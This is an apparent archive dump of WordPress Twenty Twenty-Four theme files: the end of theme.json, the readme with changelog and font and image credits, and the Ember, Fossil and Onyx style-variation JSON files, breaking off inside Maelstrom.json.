"6", "size": "min(10.5rem, 13vw)", "slug": "60" } ], "units": ["%", "px", "em", "rem", "vh", "vw"] }, "typography": { "fluid": true, "fontFamilies": [ { "fontFace": [ { "fontFamily": "Inter", "fontStretch": "normal", "fontStyle": "normal", "fontWeight": "300 900", "src": [ "file:./assets/fonts/inter/Inter-VariableFont_slnt,wght.woff2" ] } ], "fontFamily": "\"Inter\", sans-serif", "name": "Inter", "slug": "body" }, { "fontFace": [ { "fontFamily": "Cardo", "fontStyle": "normal", "fontWeight": "400", "src": ["file:./assets/fonts/cardo/cardo_normal_400.woff2"] }, { "fontFamily": "Cardo", "fontStyle": "italic", "fontWeight": "400", "src": ["file:./assets/fonts/cardo/cardo_italic_400.woff2"] }, { "fontFamily": "Cardo", "fontStyle": "normal", "fontWeight": "700", "src": ["file:./assets/fonts/cardo/cardo_normal_700.woff2"] } ], "fontFamily": "Cardo", "name": "Cardo", "slug": "heading" }, { "fontFamily": "-apple-system, BlinkMacSystemFont, avenir next, avenir, segoe ui, helvetica neue, helvetica, Cantarell, Ubuntu, roboto, noto, arial, sans-serif", "name": "System Sans-serif", "slug": "system-sans-serif" }, { "fontFamily": "Iowan Old Style, Apple Garamond, Baskerville, Times New Roman, Droid Serif, Times, Source Serif Pro, serif, Apple Color Emoji, Segoe UI Emoji, Segoe UI Symbol", "name": "System Serif", "slug": "system-serif" } ], "fontSizes": [ { "fluid": false, "name": "Small", "size": "0.9rem", "slug": "small" }, { "fluid": false, "name": "Medium", "size": "1.05rem", "slug": "medium" }, { "fluid": { "min": "1.39rem", "max": "1.85rem" }, "name": "Large", "size": "1.85rem", "slug": "large" }, { "fluid": { "min": "1.85rem", "max": "2.5rem" }, "name": "Extra Large", "size": "2.5rem", "slug": "x-large" }, { "fluid": { "min": "2.5rem", "max": "3.27rem" }, "name": "Extra Extra Large", "size": "3.27rem", "slug": "xx-large" } ], "writingMode": true }, "useRootPaddingAwareAlignments": true }, "styles": { "blocks": { "core/avatar": { "border": { "radius": "90px" } }, "core/button": { "variations": { "outline": { "spacing": { "padding": { "bottom": "calc(0.6rem - 1px)", "left": "calc(1rem - 1px)", "right": "calc(1rem - 1px)", "top": "calc(0.6rem - 1px)" } }, "border": { "width": "1px" } } } }, "core/buttons": { "spacing": { "blockGap": "0.7rem" } }, "core/calendar": { "color": { "text": "var(--wp--preset--color--contrast)" }, "css": ".wp-block-calendar table:where(:not(.has-text-color)) th{background-color:var(--wp--preset--color--contrast-2);color:var(--wp--preset--color--base);border-color:var(--wp--preset--color--contrast-2)} & table:where(:not(.has-text-color)) td{border-color:var(--wp--preset--color--contrast-2)}" }, "core/categories": { "spacing": { "padding": { "left": "0px", "right": "0px" } }, "css": "& {list-style-type:none;} & li{margin-bottom: 0.5rem;}" }, "core/code": { "border": { "color": "var(--wp--preset--color--contrast)", "radius": "var(--wp--preset--spacing--20)" }, "color": { "background": "var(--wp--preset--color--base-2)", "text": "var(--wp--preset--color--contrast-2)" }, "spacing": { "padding": { "bottom": "calc(var(--wp--preset--spacing--30) + 0.75rem)", "left": "calc(var(--wp--preset--spacing--30) + 0.75rem)", "right": "calc(var(--wp--preset--spacing--30) + 0.75rem)", "top": "calc(var(--wp--preset--spacing--30) + 0.75rem)" } }, "typography": { "fontSize": "var(--wp--preset--font-size--medium)", "fontStyle": "normal", "fontWeight": "400", "lineHeight": "1.6" } }, "core/comment-author-name": { "color": { "text": "var(--wp--preset--color--contrast)" }, "elements": { "link": { "color": { "text": "var(--wp--preset--color--contrast)" }, "typography": { "textDecoration": "none" }, ":hover": { "typography": { "textDecoration": "underline" } } } }, "typography": { "fontSize": "var(--wp--preset--font-size--small)", "fontStyle": "normal", "fontWeight": "600" } }, "core/comment-content": { "typography": { "fontSize": "var(--wp--preset--font-size--small)" }, "spacing": { "margin": { "top": "var(--wp--preset--spacing--20)", "bottom": "var(--wp--preset--spacing--20)" } } }, "core/comment-date": { "color": { "text": "var(--wp--preset--color--contrast-2)" }, "elements": { "link": { "color": { "text": "var(--wp--preset--color--contrast-2)" }, "typography": { "textDecoration": "none" }, ":hover": { "typography": { "textDecoration": "underline" } } } }, "typography": { "fontSize": "var(--wp--preset--font-size--small)" }, "spacing": { "margin": { "top": "0px", "bottom": "0px" } } }, "core/comment-edit-link": { "elements": { "link": { "color": { "text": "var(--wp--preset--color--contrast-2)" }, "typography": { "textDecoration": "none" }, ":hover": { "typography": { "textDecoration": "underline" } } } }, "typography": { "fontSize": "var(--wp--preset--font-size--small)" } }, "core/comment-reply-link": { "elements": { "link": { "color": { "text": "var(--wp--preset--color--contrast-2)" }, "typography": { "textDecoration": "none" }, ":hover": { "typography": { "textDecoration": "underline" } } } }, "typography": { "fontSize": "var(--wp--preset--font-size--small)" } }, "core/post-comments-form": { "css": "& textarea, input{border-radius:.33rem}" }, "core/comments-pagination": { "typography": { "fontSize": "var(--wp--preset--font-size--small)" } }, "core/comments-pagination-next": { "typography": { "fontSize": "var(--wp--preset--font-size--small)" } }, "core/comments-pagination-numbers": { "typography": { "fontSize": "var(--wp--preset--font-size--small)" } }, "core/comments-pagination-previous": { "typography": { "fontSize": "var(--wp--preset--font-size--small)" } }, "core/footnotes": { "typography": { "fontSize": "var(--wp--preset--font-size--small)" } }, "core/gallery": { "spacing": { "margin": { "bottom": "var(--wp--preset--spacing--50)" } } }, "core/image": { "variations": { "rounded": { "border": { "radius": "var(--wp--preset--spacing--20)" } } } }, "core/list": { "spacing": { "padding": { "left": "var(--wp--preset--spacing--10)" } } }, "core/loginout": { "css": "& input{border-radius:.33rem;padding:calc(0.667em + 2px);border:1px solid #949494;}" }, "core/navigation": { "elements": { "link": { ":hover": { "typography": { "textDecoration": "underline" } }, "typography": { "textDecoration": "none" } } }, "typography": { "fontWeight": "500" } }, "core/post-author": { "typography": { "fontSize": "var(--wp--preset--font-size--small)" } }, "core/post-author-name": { "elements": { "link": { ":hover": { "typography": { "textDecoration": "underline" } }, "typography": { "textDecoration": "none" } } }, "typography": { "fontSize": "var(--wp--preset--font-size--small)" } }, "core/post-date": { "color": { "text": "var(--wp--preset--color--contrast-2)" }, "elements": { "link": { ":hover": { "typography": { "textDecoration": "underline" } }, "color": { "text": "var(--wp--preset--color--contrast-2)" }, "typography": { "textDecoration": "none" } } }, "typography": { "fontSize": "var(--wp--preset--font-size--small)" } }, "core/post-excerpt": { "typography": { "lineHeight": "1.6" } }, "core/post-featured-image": { "border": { "radius": "var(--wp--preset--spacing--20)" } }, "core/post-terms": { "elements": { "link": { ":hover": { "typography": { "textDecoration": "underline" } }, "typography": { "textDecoration": "none" } } }, "typography": { "fontSize": "var(--wp--preset--font-size--small)" }, "css":"& .wp-block-post-terms__prefix{color: var(--wp--preset--color--contrast-2);}" }, "core/post-title": { "elements": { "link": { ":hover": { "typography": { "textDecoration": "underline" } }, "typography": { "textDecoration": "none" } } } }, "core/pullquote": { "border": { "radius": "var(--wp--preset--spacing--20)" }, "elements": { "cite": { "typography": { "fontFamily": "var(--wp--preset--font-family--body)", "fontSize": "var(--wp--preset--font-size--medium)", "fontStyle": "normal" } } }, "spacing": { "padding": { "bottom": "var(--wp--preset--spacing--40)", "top": "var(--wp--preset--spacing--40)" } }, "typography": { "fontFamily": "var(--wp--preset--font-family--heading)", "fontSize": "var(--wp--preset--font-size--x-large)", "fontStyle": "italic", "fontWeight": "400", "letterSpacing": "0em", "lineHeight": "1.5" } }, "core/query-title": { "css": "& span {font-style: italic;}" }, "core/query-no-results": { "spacing": { "padding": { "top": "var(--wp--preset--spacing--30)" } } }, "core/quote": { "border": { "radius": "var(--wp--preset--spacing--20)" }, "color": { "background": "var(--wp--preset--color--base-2)" }, "css": "& :where(p) {margin-block-start:0;margin-block-end:calc(var(--wp--preset--spacing--10) + 0.5rem);} & :where(:last-child) {margin-block-end:0;} &.has-text-align-right.is-style-plain, .rtl .is-style-plain.wp-block-quote:not(.has-text-align-center):not(.has-text-align-left){border-width: 0 2px 0 0;padding-left:calc(var(--wp--preset--spacing--20) + 0.5rem);padding-right:calc(var(--wp--preset--spacing--20) + 0.5rem);} &.has-text-align-left.is-style-plain, body:not(.rtl) .is-style-plain.wp-block-quote:not(.has-text-align-center):not(.has-text-align-right){border-width: 0 0 0 2px;padding-left:calc(var(--wp--preset--spacing--20) + 0.5rem);padding-right:calc(var(--wp--preset--spacing--20) + 0.5rem)}", "elements": { "cite": { "typography": { "fontFamily": "var(--wp--preset--font-family--body)", "fontSize": "var(--wp--preset--font-size--small)", "fontStyle": "normal" } } }, "spacing": { "padding": { "bottom": "calc(var(--wp--preset--spacing--30) + 0.75rem)", "left": "calc(var(--wp--preset--spacing--30) + 0.75rem)", "right": "calc(var(--wp--preset--spacing--30) + 0.75rem)", "top": "calc(var(--wp--preset--spacing--30) + 0.75rem)" } }, "typography": { "fontFamily": "var(--wp--preset--font-family--heading)", "fontSize": "var(--wp--preset--font-size--large)", "fontStyle": "italic", "lineHeight": "1.3" }, "variations": { "plain": { "border": { "color": "var(--wp--preset--color--contrast)", "radius": "0", "style": "solid", "width": "0" }, "color": { "background": "transparent" }, "spacing": { "padding": { "bottom": "var(--wp--preset--spacing--20)", "left": "var(--wp--preset--spacing--20)", "right": "var(--wp--preset--spacing--20)", "top": "var(--wp--preset--spacing--20)" } }, "typography": { "fontFamily": "var(--wp--preset--font-family--body)", "fontStyle": "normal", "fontSize": "var(--wp--preset--font-size--medium)", "lineHeight": "1.5" } } } }, "core/search": { "css": "& .wp-block-search__input{border-radius:.33rem}", "typography": { "fontSize": "var(--wp--preset--font-size--small)" }, "elements": { "button": { "border": { "radius": { "ref": "styles.elements.button.border.radius" } } } } }, "core/separator": { "border": { "color": "currentColor", "style": "solid", "width": "0 0 1px 0" }, "color": { "text": "var(--wp--preset--color--contrast)" }, "css": " &:not(.is-style-wide):not(.is-style-dots):not(.alignwide):not(.alignfull){width: var(--wp--preset--spacing--60)}" }, "core/site-tagline": { "color": { "text": "var(--wp--preset--color--contrast-2)" }, "typography": { "fontSize": "var(--wp--preset--font-size--small)" } }, "core/site-title": { "elements": { "link": { ":hover": { "typography": { "textDecoration": "none" } }, "typography": { "textDecoration": "none" } } }, "typography": { "fontFamily": "var(--wp--preset--font-family--body)", "fontSize": "1.2rem", "fontStyle": "normal", "fontWeight": "600" } } }, "color": { "background": "var(--wp--preset--color--base)", "text": "var(--wp--preset--color--contrast)" }, "elements": { "button": { ":active": { "color": { "background": "var(--wp--preset--color--contrast)", "text": "var(--wp--preset--color--base)" } }, ":focus": { "color": { "background": "var(--wp--preset--color--contrast-2)", "text": "var(--wp--preset--color--base)" }, "outline": { "color": "var(--wp--preset--color--contrast)", "offset": "2px" }, "border": { "color": "var(--wp--preset--color--contrast-2)" } }, ":hover": { "color": { "background": "var(--wp--preset--color--contrast-2)", "text": "var(--wp--preset--color--base)" }, "border": { "color": "var(--wp--preset--color--contrast-2)" } }, "border": { "radius": ".33rem", "color": "var(--wp--preset--color--contrast)" }, "color": { "background": "var(--wp--preset--color--contrast)", "text": "var(--wp--preset--color--base)" }, "spacing": { "padding": { "bottom": "0.6rem", "left": "1rem", "right": "1rem", "top": "0.6rem" } }, "typography": { "fontSize": "var(--wp--preset--font-size--small)", "fontStyle": "normal", "fontWeight": "500" } }, "caption": { "color": { "text": "var(--wp--preset--color--contrast-2)" }, "typography": { "fontFamily": "var(--wp--preset--font-family--body)", "fontSize": "0.8rem" } }, "h1": { "typography": { "fontSize": "var(--wp--preset--font-size--xx-large)", "lineHeight": "1.15" } }, "h2": { "typography": { "fontSize": "var(--wp--preset--font-size--x-large)" } }, "h3": { "typography": { "fontSize": "var(--wp--preset--font-size--large)" } }, "h4": { "typography": { "fontSize": "clamp(1.1rem, 1.1rem + ((1vw - 0.2rem) * 0.767), 1.5rem)" } }, "h5": { "typography": { "fontSize": "var(--wp--preset--font-size--medium)" } }, "h6": { "typography": { "fontSize": "var(--wp--preset--font-size--small)" } }, "heading": { "color": { "text": "var(--wp--preset--color--contrast)" }, "typography": { "fontFamily": "var(--wp--preset--font-family--heading)", "fontWeight": "400", "lineHeight": "1.2" } }, "link": { ":hover": { "typography": { "textDecoration": "none" } }, "color": { "text": "var(--wp--preset--color--contrast)" } } }, "spacing": { "blockGap": "1.2rem", "padding": { "left": "var(--wp--preset--spacing--50)", "right": "var(--wp--preset--spacing--50)" } }, "typography": { "fontFamily": "var(--wp--preset--font-family--body)", "fontSize": "var(--wp--preset--font-size--medium)", "fontStyle": "normal", "fontWeight": "400", "lineHeight": "1.55" }, "css": ":where(.wp-site-blocks *:focus){outline-width:2px;outline-style:solid}" }, "templateParts": [ { "area": "header", "name": "header", "title": "Header" }, { "area": "footer", "name": "footer", "title": "Footer" }, { "area": "uncategorized", "name": "sidebar", "title": "Sidebar" }, { "area": "uncategorized", "name": "post-meta", "title": "Post Meta" } ], "customTemplates": [ { "name": "page-no-title", "postTypes": ["page"], "title": "Page No Title" }, { "name": "page-with-sidebar", "postTypes": ["page"], "title": "Page with Sidebar" }, { "name": "page-wide", "postTypes": ["page"], "title": "Page with Wide Image" }, { "name": "single-with-sidebar", "postTypes": ["post"], "title": "Single with Sidebar" } ] } themes/twentytwentyfour/readme.txt000064400000010027152335264760013545 0ustar00=== Twenty Twenty-Four === Contributors: wordpressdotorg Requires at least: 6.4 Tested up to: 7.0 Requires PHP: 7.0 Stable tag: 1.5 License: GPLv2 or later License URI: http://www.gnu.org/licenses/gpl-2.0.html == Description == Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collection of templates and patterns tailor to different needs, such as presenting a business, blogging and writing or showcasing work. A multitude of possibilities open up with just a few adjustments to color and typography. Twenty Twenty-Four comes with style variations and full page designs to help speed up the site building process, is fully compatible with the site editor, and takes advantage of new design tools introduced in WordPress 6.4. == Changelog == = 1.5 = * Released: May 20, 2026 https://wordpress.org/documentation/article/twenty-twenty-four-changelog/#Version_1.5 = 1.4 = * Released: December 2, 2025 https://wordpress.org/documentation/article/twenty-twenty-four-changelog/#Version_1.4 = 1.3 = * Released: November 12, 2024 https://wordpress.org/documentation/article/twenty-twenty-four-changelog/#Version_1.3 = 1.2 = * Released: July 16, 2024 https://wordpress.org/documentation/article/twenty-twenty-four-changelog/#Version_1.2 = 1.1 = * Released: April 2, 2024 https://wordpress.org/documentation/article/twenty-twenty-four-changelog/#Version_1.1 = 1.0 = * Released: November 7, 2023 https://wordpress.org/documentation/article/twenty-twenty-four-changelog/#Version_1.0 == Copyright == Twenty Twenty-Four WordPress Theme, (C) 2023-2026 WordPress.org and contributors. Twenty Twenty-Four is distributed under the terms of the GNU GPL. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. This theme bundles the following third-party resources: === Fonts === Cardo Font Copyright (c) 2002-2011, David J. Perry (hospes02@scholarsfonts.net) License: SIL Open Font License, 1.1, https://opensource.org/licenses/OFL-1.1 Source: http://scholarsfonts.net Instrument Sans Font Copyright 2022 The Instrument Sans Project Authors. License: SIL Open Font License, 1.1, https://opensource.org/licenses/OFL-1.1 Source: https://github.com/Instrument/instrument-sans Inter Font Copyright 2020 The Inter Project Authors. License: SIL Open Font License, 1.1, https://opensource.org/licenses/OFL-1.1 Source: https://github.com/rsms/inter Jost Font Copyright 2020 The Jost Project Authors. License: SIL Open Font License, 1.1, https://opensource.org/licenses/OFL-1.1 Source: https://github.com/indestructible-type/Jost === Images === License: CC0 https://creativecommons.org/publicdomain/zero/1.0/ museum.webp - https://www.rawpixel.com/image/3297419/free-photo-image-interior-hallway-architecture tourist-and-building.webp - https://www.rawpixel.com/image/5928004/photo-image-public-domain-hand-person building-exterior.webp - https://www.rawpixel.com/image/430335/free-photo-image-architecture-building-roof windows.webp - https://www.rawpixel.com/image/3286615/free-photo-image-texture-architecture-building abstract-geometric-art.webp - https://www.rawpixel.com/image/3283970/free-photo-image-pattern-artwork-abstract angular-roof.webp - https://www.rawpixel.com/image/3289063/free-photo-image-architectural-detail-architecture art-gallery.webp - https://www.rawpixel.com/image/3286187/free-photo-image-person-stairs-architecture green-staircase.webp - https://www.rawpixel.com/image/430558/free-photo-image-abstract-architecture-art-public-domain hotel-facade.webp - https://www.rawpixel.com/image/3286725/free-photo-image-black-and-white-background-photos License: UNICODE LICENSE V3 https://www.unicode.org/license.txt icon-message.webp themes/twentytwentyfour/styles/ember.json000064400000013537152335264760015070 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.5/theme.json", "version": 2, "title": "Ember", "settings": { "color": { "duotone": [ { "colors": [ "#D73301", "#F9F8F5" ], "slug": "duotone-2", "name": "Orange and white" } ], "gradients": [ { "slug": "gradient-1", "gradient": "linear-gradient(to bottom, #f6decd 0%, #dbab88 100%)", "name": "Vertical linen to beige" }, { "slug": "gradient-2", "gradient": "linear-gradient(to bottom, #A4A4A4 0%, #dbab88 100%)", "name": "Vertical taupe to beige" }, { "slug": "gradient-3", "gradient": "linear-gradient(to bottom, #353535 0%, #dbab88 100%)", "name": "Vertical sable to beige" }, { "slug": "gradient-4", "gradient": "linear-gradient(to bottom, #111111 0%, #dbab88 100%)", "name": "Vertical ebony to beige" }, { "slug": "gradient-5", "gradient": "linear-gradient(to bottom, #353535 0%, #A4A4A4 100%)", "name": "Vertical sable to beige" }, { "slug": "gradient-6", "gradient": "linear-gradient(to bottom, #111111 0%, #353535 100%)", "name": "Vertical ebony to sable" }, { "slug": "gradient-7", "gradient": "linear-gradient(to bottom, #dbab88 50%, #f6decd 50%)", "name": "Vertical hard beige to linen" }, { "slug": "gradient-8", "gradient": "linear-gradient(to bottom, #A4A4A4 50%, #dbab88 50%)", "name": "Vertical hard taupe to beige" }, { "slug": "gradient-9", "gradient": "linear-gradient(to bottom, #353535 50%, #dbab88 50%)", "name": "Vertical hard sable to beige" }, { "slug": "gradient-10", "gradient": "linear-gradient(to bottom, #111111 50%, #dbab88 50%)", "name": "Vertical hard ebony to beige" }, { "slug": "gradient-11", "gradient": "linear-gradient(to bottom, #353535 50%, #A4A4A4 50%)", "name": "Vertical hard sable to taupe" }, { "slug": "gradient-12", "gradient": "linear-gradient(to bottom, #111111 50%, #353535 50%)", "name": "Vertical hard ebony to sable" } ], "palette": [ { "color": "#F9F8F5", "name": "Base", "slug": "base" }, { "color": "#D73301", "name": "Contrast / 2", "slug": "contrast-2" }, { "color": "#000", "name": "Contrast", "slug": "contrast" }, { "color": "#f6decd", "name": "Base / Two", "slug": "base-2" } ] }, "typography": { "fontFamilies": [ { "fontFace": [ { "fontFamily": "Instrument Sans", "fontStyle": "normal", "fontWeight": "400 700", "src": [ "file:./assets/fonts/instrument-sans/InstrumentSans-VariableFont_wdth,wght.woff2" ] }, { "fontFamily": "Instrument Sans", "fontStyle": "italic", "fontWeight": "400 700", "src": [ "file:./assets/fonts/instrument-sans/InstrumentSans-Italic-VariableFont_wdth,wght.woff2" ] } ], "fontFamily": "\"Instrument Sans\", sans-serif", "name": "Instrument Sans", "slug": "body" }, { "fontFace": [ { "fontFamily": "Jost", "fontStyle": "normal", "fontWeight": "100 900", "src": ["file:./assets/fonts/jost/Jost-VariableFont_wght.woff2"] }, { "fontFamily": "Jost", "fontStyle": "italic", "fontWeight": "100 900", "src": [ "file:./assets/fonts/jost/Jost-Italic-VariableFont_wght.woff2" ] } ], "fontFamily": "\"Jost\", sans-serif", "name": "Jost", "slug": "heading" }, { "fontFamily": "-apple-system, BlinkMacSystemFont, avenir next, avenir, segoe ui, helvetica neue, helvetica, Cantarell, Ubuntu, roboto, noto, arial, sans-serif", "name": "System Sans-serif", "slug": "system-sans-serif" }, { "fontFamily": "Iowan Old Style, Apple Garamond, Baskerville, Times New Roman, Droid Serif, Times, Source Serif Pro, serif, Apple Color Emoji, Segoe UI Emoji, Segoe UI Symbol", "name": "System Serif", "slug": "system-serif" } ] } }, "styles": { "blocks": { "core/button": { "variations": { "outline": { "spacing": { "padding": { "bottom": "calc(0.9rem - 2px)", "left": "calc(2rem - 2px)", "right": "calc(2rem - 2px)", "top": "calc(0.9rem - 2px)" } }, "border": { "width": "2px" } } } }, "core/image": { "filter": { "duotone": "var(--wp--preset--duotone--duotone-2)" } }, "core/pullquote": { "typography": { "fontSize": "var(--wp--preset--font-size--large)", "fontStyle": "normal", "fontWeight": "normal", "lineHeight": "1.2" } }, "core/quote": { "typography": { "fontFamily": "var(--wp--preset--font-family--heading)", "fontSize": "var(--wp--preset--font-size--large)", "fontStyle": "normal" }, "variations": { "plain": { "typography": { "fontStyle": "normal", "fontWeight": "400" } } } }, "core/site-title": { "typography": { "fontWeight": "400" } }, "core/navigation": { "typography": { "fontWeight": "400" } } }, "elements": { "button": { "border": { "radius": "100px" }, "color": { "background": "var(--wp--preset--color--contrast-2)", "text": "var(--wp--preset--color--base)" }, "spacing": { "padding": { "bottom": "0.9rem", "left": "2rem", "right": "2rem", "top": "0.9rem" } }, "typography": { "fontFamily": "var(--wp--preset--font-family--heading)", "fontSize": "var(--wp--preset--font-size--small)", "fontStyle": "normal" }, ":hover": { "color": { "background": "var(--wp--preset--color--contrast)" } } } } } } themes/twentytwentyfour/styles/fossil.json000064400000014471152335264760015273 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.5/theme.json", "version": 2, "title": "Fossil", "settings": { "color": { "gradients": [ { "slug": "gradient-1", "gradient": "linear-gradient(to bottom, #E1DFDB 0%, #D6D2CE 100%)", "name": "Vertical linen to beige" }, { "slug": "gradient-2", "gradient": "linear-gradient(to bottom, #958D86 0%, #D6D2CE 100%)", "name": "Vertical taupe to beige" }, { "slug": "gradient-3", "gradient": "linear-gradient(to bottom, #65574E 0%, #D6D2CE 100%)", "name": "Vertical sable to beige" }, { "slug": "gradient-4", "gradient": "linear-gradient(to bottom, #1A1514 0%, #D6D2CE 100%)", "name": "Vertical ebony to beige" }, { "slug": "gradient-5", "gradient": "linear-gradient(to bottom, #65574E 0%, #958D86 100%)", "name": "Vertical sable to beige" }, { "slug": "gradient-6", "gradient": "linear-gradient(to bottom, #1A1514 0%, #65574E 100%)", "name": "Vertical ebony to sable" }, { "slug": "gradient-7", "gradient": "linear-gradient(to bottom, #D6D2CE 50%, #E1DFDB 50%)", "name": "Vertical hard beige to linen" }, { "slug": "gradient-8", "gradient": "linear-gradient(to bottom, #958D86 50%, #D6D2CE 50%)", "name": "Vertical hard taupe to beige" }, { "slug": "gradient-9", "gradient": "linear-gradient(to bottom, #65574E 50%, #D6D2CE 50%)", "name": "Vertical hard sable to beige" }, { "slug": "gradient-10", "gradient": "linear-gradient(to bottom, #1A1514 50%, #D6D2CE 50%)", "name": "Vertical hard ebony to beige" }, { "slug": "gradient-11", "gradient": "linear-gradient(to bottom, #65574E 50%, #958D86 50%)", "name": "Vertical hard sable to taupe" }, { "slug": "gradient-12", "gradient": "linear-gradient(to bottom, #1A1514 50%, #65574E 50%)", "name": "Vertical hard ebony to sable" } ], "palette": [ { "color": "#D6D2CE", "name": "Base", "slug": "base" }, { "color": "#E1DFDB", "name": "Base / Two", "slug": "base-2" }, { "color": "#1A1514", "name": "Contrast", "slug": "contrast" }, { "color": "#65574E", "name": "Contrast / Two", "slug": "contrast-2" }, { "color": "#958D86", "name": "Contrast / Three", "slug": "contrast-3" } ] }, "typography": { "fontFamilies": [ { "fontFace": [ { "fontFamily": "Inter", "fontStretch": "normal", "fontStyle": "normal", "fontWeight": "300 900", "src": [ "file:./assets/fonts/inter/Inter-VariableFont_slnt,wght.woff2" ] } ], "fontFamily": "\"Inter\", sans-serif", "name": "Inter", "slug": "heading" }, { "fontFace": [ { "fontFamily": "Cardo", "fontStyle": "normal", "fontWeight": "400", "src": ["file:./assets/fonts/cardo/cardo_normal_400.woff2"] }, { "fontFamily": "Cardo", "fontStyle": "italic", "fontWeight": "400", "src": ["file:./assets/fonts/cardo/cardo_italic_400.woff2"] }, { "fontFamily": "Cardo", "fontStyle": "normal", "fontWeight": "700", "src": ["file:./assets/fonts/cardo/cardo_normal_700.woff2"] } ], "fontFamily": "Cardo", "name": "Cardo", "slug": "body" }, { "fontFamily": "-apple-system, BlinkMacSystemFont, avenir next, avenir, segoe ui, helvetica neue, helvetica, Cantarell, Ubuntu, roboto, noto, arial, sans-serif", "name": "System Sans-serif", "slug": "system-sans-serif" }, { "fontFamily": "Iowan Old Style, Apple Garamond, Baskerville, Times New Roman, Droid Serif, Times, Source Serif Pro, serif, Apple Color Emoji, Segoe UI Emoji, Segoe UI Symbol", "name": "System Serif", "slug": "system-serif" } ], "fontSizes": [ { "fluid": false, "name": "Small", "size": "1rem", "slug": "small" }, { "fluid": false, "name": "Medium", "size": "1.2rem", "slug": "medium" }, { "fluid": { "min": "1.5rem", "max": "2rem" }, "name": "Large", "size": "2rem", "slug": "large" }, { "fluid": { "min": "2rem", "max": "2.65rem" }, "name": "Extra Large", "size": "2.65rem", "slug": "x-large" }, { "fluid": { "min": "2.65rem", "max": "3.5rem" }, "name": "Extra Extra Large", "size": "3.5rem", "slug": "xx-large" } ] } }, "styles": { "blocks": { "core/button": { "variations": { "outline": { "spacing": { "padding": { "bottom": "calc(0.9rem - 2px)", "left": "calc(2rem - 2px)", "right": "calc(2rem - 2px)", "top": "calc(0.9rem - 2px)" } }, "border": { "width": "2px" } } } }, "core/pullquote": { "typography": { "fontSize": "var(--wp--preset--font-size--large)", "fontStyle": "normal", "fontWeight": "normal", "lineHeight": "1.2" } }, "core/quote": { "typography": { "fontFamily": "var(--wp--preset--font-family--heading)", "fontSize": "var(--wp--preset--font-size--large)", "fontStyle": "normal" }, "variations": { "plain": { "typography": { "fontStyle": "normal", "fontWeight": "400" } } } }, "core/site-title": { "typography": { "fontWeight": "400" } } }, "elements": { "button": { "border": { "radius": "100px", "color": "var(--wp--preset--color--contrast-2)" }, "color": { "background": "var(--wp--preset--color--contrast-2)", "text": "var(--wp--preset--color--white)" }, "spacing": { "padding": { "bottom": "0.9rem", "left": "2rem", "right": "2rem", "top": "0.9rem" } }, "typography": { "fontFamily": "var(--wp--preset--font-family--heading)", "fontSize": "var(--wp--preset--font-size--small)", "fontStyle": "normal" }, ":hover": { "color": { "background": "var(--wp--preset--color--contrast)" } } }, "heading": { "typography": { "fontWeight": "normal", "letterSpacing": "0" } } } } } themes/twentytwentyfour/styles/onyx.json000064400000007165152335264760014773 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.5/theme.json", "version": 2, "title": "Onyx", "settings": { "color": { "duotone": [ { "colors": [ "#272727", "#f9f9f9" ], "slug": "duotone-1", "name": "Dark gray and white" }, { "colors": [ "#272727", "#5F584F" ], "slug": "duotone-2", "name": "Dark gray and walnut" }, { "colors": [ "#272727", "#973C20" ], "slug": "duotone-3", "name": "Dark gray and cinnamon" }, { "colors": [ "#272727", "#4D5B48" ], "slug": "duotone-4", "name": "Dark gray and olive" }, { "colors": [ "#272727", "#4F5959" ], "slug": "duotone-5", "name": "Dark gray and steel" } ], "gradients": [ { "slug": "gradient-1", "gradient": "linear-gradient(to bottom, #5F584F 0%, #272727 100%)", "name": "Vertical soft driftwood to dark gray" }, { "slug": "gradient-2", "gradient": "linear-gradient(to bottom, #6D533C 0%, #272727 100%)", "name": "Vertical soft walnut to dark gray" }, { "slug": "gradient-3", "gradient": "linear-gradient(to bottom, #973C20 0%, #272727 100%)", "name": "Vertical soft cinnamon to dark gray" }, { "slug": "gradient-4", "gradient": "linear-gradient(to bottom, #4D5B48 0%, #272727 100%)", "name": "Vertical soft olive to dark gray" }, { "slug": "gradient-5", "gradient": "linear-gradient(to bottom, #4F5959 0%, #272727 100%)", "name": "Vertical soft steel to dark gray" }, { "slug": "gradient-6", "gradient": "linear-gradient(to bottom, #909090 0%, #272727 100%)", "name": "Vertical soft pewter to dark gray" }, { "slug": "gradient-7", "gradient": "linear-gradient(to bottom, #5F584F 50%, #272727 50%)", "name": "Vertical hard beige to dark gray" }, { "slug": "gradient-8", "gradient": "linear-gradient(to bottom, #6D533C 50%, #272727 50%)", "name": "Vertical hard walnut to dark gray" }, { "slug": "gradient-9", "gradient": "linear-gradient(to bottom, #973C20 50%, #272727 50%)", "name": "Vertical hard cinnamon to dark gray" }, { "slug": "gradient-10", "gradient": "linear-gradient(to bottom, #4D5B48 50%, #272727 50%)", "name": "Vertical hard olive to dark gray" }, { "slug": "gradient-11", "gradient": "linear-gradient(to bottom, #4F5959 50%, #272727 50%)", "name": "Vertical hard steel to dark gray" }, { "slug": "gradient-12", "gradient": "linear-gradient(to bottom, #A4A4A4 50%, #272727 50%)", "name": "Vertical hard pewter to dark gray" } ], "palette": [ { "color": "#272727", "name": "Base", "slug": "base" }, { "color": "#303030", "name": "Base / Two", "slug": "base-2" }, { "color": "#f9f9f9", "name": "Contrast", "slug": "contrast" }, { "color": "#B7B7B7", "name": "Contrast / Two", "slug": "contrast-2" }, { "color": "#909090", "name": "Contrast / Three", "slug": "contrast-3" }, { "color": "#5F584F", "name": "Accent", "slug": "accent" }, { "color": "#6D533C", "name": "Accent / Two", "slug": "accent-2" }, { "color": "#973C20", "name": "Accent / Three", "slug": "accent-3" }, { "color": "#4D5B48", "name": "Accent / Four", "slug": "accent-4" }, { "color": "#4F5959", "name": "Accent / Five", "slug": "accent-5" } ] } } } themes/twentytwentyfour/styles/maelstrom.json000064400000010441152335264760015770 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.5/theme.json", "version": 2, "title": "Maelstrom", "settings": { "color": { "palette": [ { "color": "#38629F", "name": "Base", "slug": "base" }, { "color": "#244E8A", "name": "Base / Two", "slug": "base-2" }, { "color": "#FFFFFFA1", "name": "Contrast / 